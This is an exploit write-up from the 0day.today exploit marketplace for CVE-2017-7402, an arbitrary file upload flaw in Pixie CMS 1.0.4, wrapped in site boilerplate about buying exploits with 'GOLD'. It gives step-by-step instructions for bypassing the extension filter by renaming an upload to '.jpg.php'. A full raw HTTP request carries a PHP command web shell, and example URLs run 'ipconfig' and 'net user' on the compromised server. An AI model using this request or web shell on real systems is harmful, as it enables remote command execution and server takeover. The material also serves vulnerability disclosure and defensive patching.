0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Pixie 1.0.4 - Arbitrary File Upload Vulnerability
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: File Extension Filter Bypass in File Manager Pixie 1.0.4 With Low Privilege # Google Dork: no # Date: 02-April-2017 # Exploit Author: @rungga_reksya, @dvnrcy, @dickysofficial # Vendor Homepage: http://www.getpixie.co.uk # Software Link: https://us.softpedia-secure-download.com/dl/44791fdde14260bc7a8d08df65bcd048/58db4b5c/700044699/webscripts/php/pixie_v1.04.zip # Version: 1.0.4 # CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.5 - HIGH)# CVE-2017-7402 I. Background: Pixie is a free, open source web application that will help quickly create your own website. Many people refer to this type of software as a "content management system (cms)", we prefer to call it as Small, Simple, Site Maker. II. Description: in Pixie CMS have three types for account privilege for upload: - Administrator - Can access file manager but restricted extension for file upload. - Client - Can access file manager but restricted extension for file upload. - User - Cannot access file manager Generally Pixie CMS have restricted extension for file upload and we cannot upload php extension. in normally if we upload php file, Pixie CMS will give information rejected like this “Upload failed. Please check that the folder is writeable and has the correct permissions set”. III. Exploit: In this case, we used privilege as client and then access to “file manager” (http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&x=filemanager). Please follow this step: 1. Prepare software to intercept (I used burpsuite free edtion). 2. Prepare for real image (our_shell.jpg). 3. Browse your real image on file manager pixie cms and click to upload button. 4. Intercept and change of filename “our_shell.jpg” to be “our_shell.jpg.php” 5. Under of perimeter “Content-Type: image/jpeg”, please change and write your shell. in this example, I use cmd shell. 6. If you done, forward your edit request in burpsuite and the pixie cms will give you information like this “our_shell.jpg.php was successfully uploaded”. 7. PWN (http://ip_address/folder_pixie_v1.04/files/other/our_shell.jpg.php?cmd=ipconfig) ———— POST /pixie_v1.04/admin/index.php?s=publish&x=filemanager HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/pixie_v1.04/admin/index.php?s=publish&x=filemanager Cookie: INTELLI_843cae8f53=ovfo0mpq3t2ojmcphj320geku1; loader=loaded; INTELLI_dd03efc10f=2sf8jl7fjtk3j50p0mgmekpt72; f9f33fc94752373729dab739ff8cb5e7=poro8kl89grlc4dp5a4odu2c05; PHPSESSID=1ml97c15suo30kn1dalsp5fig4; bb2_screener_=1490835014+192.168.1.6; pixie_login=client%2C722b69fa2ae0f040e4ce7f075123cb18 Connection: close Content-Type: multipart/form-data; boundary=---------------------------8321182121675739546763935949 Content-Length: 901 -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="upload[]"; filename="our_shell.jpg.php" Content-Type: image/jpeg <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="file_tags" ourshell -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="submit_upload" Upload -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="MAX_FILE_SIZE" 102400 -----------------------------8321182121675739546763935949 Content-Disposition: form-data; name="bb2_screener_" 1490835014 192.168.1.6 -----------------------------8321182121675739546763935949-- This is our screenshot from PoC: | | | Upload for valid image | | | | Change extension and insert your shell | | | | Your shell success to upload on server | | | | Example command for ipconfig | | | | Example command for net user | # 0day.today [2024-12-24] #